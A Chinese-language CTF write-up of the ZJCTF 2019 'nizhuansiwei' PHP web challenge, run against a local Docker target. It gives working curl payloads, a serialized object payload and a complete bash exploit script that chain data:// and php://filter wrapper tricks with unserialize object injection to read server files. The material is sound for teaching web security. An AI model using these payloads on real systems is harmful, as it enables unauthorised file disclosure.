实战:ZJCTF 2019 逆向思维

题目信息

git clone https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei.git
cd zjctf_2019_final_web_nizhuansiwei
docker-compose up -d
# 访问 http://127.0.0.1:8302/

Step 1:查看题目源码

直接访问 http://127.0.0.1:8302/ 会显示 index.php 的源码(因为参数未设置,走到了 else 分支的 highlight_file)。

curl -s 'http://127.0.0.1:8302/'

源码分析

三个参数:

  • text:必须让 file_get_contents() 返回 “welcome to the zjctf”
  • file:被 include(),但过滤了 /flag/
  • password:经过 unserialize() 后被 echo

执行流程:

设置 text/file/password
    ↓
file_get_contents($text) === "welcome to the zjctf" ?
    ↓ Yes
preg_match("/flag/", $file) ?
    ↓ No(不含 "flag")
include($file)    ← 加载文件
unserialize($password)  ← 反序列化
echo $password    ← 输出,触发 __tostring()

关键源码

index.php 完整逻辑:

<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}else{
    highlight_file(__FILE__);
}
?>

useless.php 定义了 Flag 类:

<?php
class Flag{ //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

flag.php 的内容:

<?php
if(2===3){
    return ("flag{glzjin_wants_a_girl_firend}");
}
?>

Step 2:绕过 text 检查

file_get_contents 默认读文件。传入 “welcome to the zjctf” 会去找本地文件,找不到返回 false。

用 data:// 伪协议,让 file_get_contents 返回字符串而不是读文件:

curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf'

预期输出:

<br><h1>welcome to the zjctf</h1></br>

说明第一个检查通过了。

Step 3:读取 useless.php 源码

用 php://filter 读取文件源码(base64 编码,绕过 PHP 解析):

curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php'

输出中有一段 base64,解码:

echo 'PD9waHAgIAoKY2xhc3MgRmxhZ3sg...' | base64 -d

得到 useless.php 的源码。

关键发现

Flag 类的 __tostring() 方法会读取 $this->file 指向的文件:

class Flag{
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);  // 读取文件
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

Step 4:发现 flag.php

用 php://filter 读取 flag.php:

curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=flag.php'

等等——这会被 /flag/ 正则拦截。因为 file 参数的值包含 “flag”。

换一种方式:直接访问 flag.php 看看:

curl -s 'http://127.0.0.1:8302/flag.php'

没有输出(因为 if(2===3) 条件永远为假)。但文件确实存在。

Step 5:构造序列化 payload

目标:创建 Flag 对象,$this->file = ”./flag.php”

用 php -r 自动生成(不用手工数长度):

php -r 'class Flag{public $file;} $o=new Flag(); $o->file="./flag.php"; echo serialize($o);'

输出:

O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";}

手工构造对照

部分含义
O对象类型
4类名长度”Flag” = 4 字符
”Flag”类名必须与类定义一致
1属性数量1 个属性
s:4:“file”属性名”file”(4 字符)
s:10:”./flag.php”属性值”./flag.php”(10 字符)

Step 6:绕过 /flag/ 正则

file 参数不能包含 “flag”,所以 file=useless.php(加载 Flag 类定义)。

flag 路径 “flag.php” 藏在 password 的序列化 payload 里——正则不检查 password 的内容。

# file=useless.php → 不含 "flag",通过正则
# password 的 payload 里有 ./flag.php → 正则不管

Step 7:发送最终请求

PAYLOAD=$(php -r 'class Flag{public $file;} $o=new Flag(); $o->file="./flag.php"; echo serialize($o);')
 
curl --get 'http://127.0.0.1:8302/' \
  --data-urlencode 'text=data://text/plain,welcome%20to%20the%20zjctf' \
  --data-urlencode 'file=useless.php' \
  --data-urlencode "password=$PAYLOAD"

Step 8:获取 flag

输出:

<br><h1>welcome to the zjctf</h1></br>
oh u find it 
<!--but i cant give it to u now-->
<?php
if(2===3){  
    return ("flag{glzjin_wants_a_girl_firend}");
}
?>
<br>U R SO CLOSE !///COME ON PLZ

flag:flag{glzjin_wants_a_girl_firend}

攻击链路图

用 ASCII 图画出完整的攻击流程:

┌─ text=data://text/plain,welcome to the zjctf ─────────────┐
│  file_get_contents() 返回 "welcome to the zjctf"           │
│  通过第一个检查                                            │
├─ file=useless.php ─────────────────────────────────────────┤
│  preg_match("/flag/", "useless.php") → 不匹配             │
│  include("useless.php") → Flag 类被定义                    │
├─ password=O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";} ──┤
│  unserialize() → Flag 对象,$this->file = "./flag.php"    │
│  echo $password → 触发 __tostring()                       │
│  file_get_contents("./flag.php") → 输出 flag              │
└────────────────────────────────────────────────────────────┘

知识点回顾

本题用到的反序列化知识:

  1. 序列化格式:O:4:“Flag”:1:{s:4:“file”;s:10:”./flag.php”;}
  2. __toString() 魔术方法:echo 对象时自动调用
  3. 文件读取:file_get_contents 被魔术方法调用
  4. 配合伪协议:data:// 绕过检查,php://filter 读源码

举一反三

如果题目改了过滤条件:

  • 如果过滤也覆盖 password 参数 → 需要找其他注入点
  • 如果过滤了 ./ → 需要用绝对路径或其他编码
  • 如果 Flag 类的 __tostring 用了 eval 而不是 file_get_contents → 可以直接执行命令

完整自动化脚本

把整个攻击流程写成一个脚本,方便复现和调试:

#!/bin/bash
# ZJCTF 2019 逆向思维 - 自动化 exploit
# 用法: bash exploit.sh [target_url]
 
TARGET="${1:-http://127.0.0.1:8302}"
 
echo "[*] Target: $TARGET"
 
# Step 1: 生成序列化 payload
echo "[*] Generating serialized payload..."
PAYLOAD=$(php -r 'class Flag{public $file;} $o=new Flag(); $o->file="./flag.php"; echo serialize($o);')
echo "[*] Payload: $PAYLOAD"
 
# Step 2: 验证 data:// 绕过
echo "[*] Testing data:// bypass..."
RESP=$(curl -s "$TARGET?text=data://text/plain,welcome%20to%20the%20zjctf")
if echo "$RESP" | grep -q "welcome to the zjctf"; then
    echo "[+] data:// bypass works"
else
    echo "[-] data:// bypass failed"
    exit 1
fi
 
# Step 3: 读取 useless.php 源码
echo "[*] Reading useless.php via php://filter..."
curl -s "$TARGET?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php" | grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d 2>/dev/null
 
# Step 4: 发送最终 payload
echo "[*] Sending final exploit..."
RESP=$(curl -s --get "$TARGET" \
  --data-urlencode 'text=data://text/plain,welcome to the zjctf' \
  --data-urlencode 'file=useless.php' \
  --data-urlencode "password=$PAYLOAD")
 
echo "$RESP"
 
# Step 5: 提取 flag
FLAG=$(echo "$RESP" | grep -oP 'flag\{[^}]+\}')
if [ -n "$FLAG" ]; then
    echo "[+] Flag found: $FLAG"
else
    echo "[-] Flag not found in response"
fi

运行脚本

chmod +x exploit.sh
bash exploit.sh http://127.0.0.1:8302

PHP 伪协议参考

本题涉及两种伪协议,理解它们是解题的关键:

data:// 协议

格式:data://text/plain,内容

作用:让 file_get_contents 读取字符串而不是文件。

# 这两行等价
file_get_contents("data://text/plain,welcome to the zjctf")
file_get_contents("welcome to the zjctf")  # 这个会去找文件

php://filter 协议

格式:php://filter/convert.base64-encode/resource=文件名

作用:读取文件源码并 base64 编码,防止 PHP 解析。

# 读取 index.php 源码
curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=index.php'

反序列化核心原理

PHP 反序列化的攻击点在于:当对象被 echo/print 时,会自动调用 __toString() 方法。

攻击条件

  1. 目标类存在 __toString() 方法
  2. __toString() 中有危险操作(读文件、执行命令等)
  3. 能控制序列化字符串的内容

本题的攻击链

用户输入 password=O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";}
    ↓
unserialize($password) → 创建 Flag 对象
    ↓
echo $password → 调用 Flag::__toString()
    ↓
__toString() 执行 file_get_contents("./flag.php")
    ↓
flag 内容被输出到页面

调试技巧

如果攻击没有成功,按以下顺序排查:

# 1. 检查 data:// 是否生效
curl -v 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf'
 
# 2. 检查 payload 格式是否正确
php -r 'var_dump(unserialize("O:4:\"Flag\":1:{s:4:\"file\";s:10:\"./flag.php\";}"));'
 
# 3. 检查 useless.php 是否被正确包含
curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php'
 
# 4. 检查 flag.php 是否存在
curl -s 'http://127.0.0.1:8302/flag.php'

常见错误

错误原因解决方案
Not now!file 参数包含 “flag”file=useless.php
empty outputtext 参数错误用 data:// 伪协议
class not founduseless.php 没有被 include确保 file=useless.php
flag not found序列化格式错误用 php -r 生成
Connection refused靶机未启动docker-compose up -d